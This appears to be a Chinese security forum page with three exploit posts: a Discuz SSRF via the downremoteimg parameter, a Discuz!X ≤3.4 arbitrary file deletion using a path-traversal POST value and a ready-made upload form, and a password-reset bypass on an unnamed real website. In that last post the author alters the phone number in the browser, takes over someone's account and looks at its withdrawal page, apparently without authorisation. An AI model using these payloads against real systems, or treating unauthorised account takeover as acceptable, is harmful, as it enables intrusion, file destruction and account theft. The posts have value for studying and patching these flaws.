渗透测试zksmile 发表了文章 • 0 个评论 • 67 次浏览 • 2018-10-12 18:58 • 来自相关话题

0x01 前言
 
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞,在这里分享给大家,以后遇到也可以测试一波。
 
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
 
0x03漏洞复现http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465
 
这里我们准备一个远程的vps并开启web服务,也可以使用dnslog工具。





将message参数中的链接替换为vps的地址,然后发送请求。





 
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。 查看全部
0x01 前言
 
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞,在这里分享给大家,以后遇到也可以测试一波。
 
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
 
0x03漏洞复现
http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465

 
这里我们准备一个远程的vps并开启web服务,也可以使用dnslog工具。

6.png

将message参数中的链接替换为vps的地址,然后发送请求。

7.png

 
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。

Discuz!X 3.4 任意文件删除漏洞

渗透测试zksmile 发表了文章 • 0 个评论 • 65 次浏览 • 2018-10-12 18:20 • 来自相关话题

0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围Discuz!X ≤3.4
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:



然后发送post请求home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash



刷新个人资料页面就会看到出生地已经被我们插入脏数据.





2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    <body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。









  查看全部
0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围
Discuz!X ≤3.4

0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:
1.png

然后发送post请求
home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash
2.png

刷新个人资料页面就会看到出生地已经被我们插入脏数据.

3.png

2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    
<body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>
打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。
4.png


5.png

 

一发任意用户密码重置(一直在潜水,出来冒个泡)

渗透测试zzqsmile 发表了文章 • 10 个评论 • 204 次浏览 • 2018-10-12 11:23 • 来自相关话题

今天运气真好,早上上班来随便在盒子转转,找到个任意密码重置,加入社区好长时间了,也没发过一篇文章。
 
原因嘛,小白一个实在想分享却拿不出东西上台面,今天就算是潜水的我出来冒个泡吧
 
1.来到某网站注册页面,习惯性输入手机号18888888888,发现已经注册
 




 
2.然后去找回密码页面,如下图,正常流程填写要找回的手机号,下一步 :
 




3.然后下面一步是接收验证码,找回密码的关键地方到了





 F12审查元素,修改手机号为自己手机号如下图所示
 





4.然后点击获取验证码,自己手机号收到验证码如下:
 





然后填写验证码,进行下一步
 




然后点击下一步成功来到了重置密码界面如下所示:





 5.填写完新密码下一步,成功修改完毕,如下图所示:
 







6.最后我们看疗效
 





 
然后既然成功登陆了就随便看看呗
 





点击提现看看
 





很好奇,如果有钱能不能提现成功。
  查看全部
今天运气真好,早上上班来随便在盒子转转,找到个任意密码重置,加入社区好长时间了,也没发过一篇文章。
 
原因嘛,小白一个实在想分享却拿不出东西上台面,今天就算是潜水的我出来冒个泡吧
 
1.来到某网站注册页面,习惯性输入手机号18888888888,发现已经注册
 
1.png

 
2.然后去找回密码页面,如下图,正常流程填写要找回的手机号,下一步 :
 
2.png

3.然后下面一步是接收验证码,找回密码的关键地方到了

3.png

 F12审查元素,修改手机号为自己手机号如下图所示
 
4.png


4.然后点击获取验证码,自己手机号收到验证码如下:
 
9.png


然后填写验证码,进行下一步
 
6.png

然后点击下一步成功来到了重置密码界面如下所示:

5.png

 5.填写完新密码下一步,成功修改完毕,如下图所示:
 

7.png



6.最后我们看疗效
 
8.png


 
然后既然成功登陆了就随便看看呗
 
11.png


点击提现看看
 
33.png


很好奇,如果有钱能不能提现成功。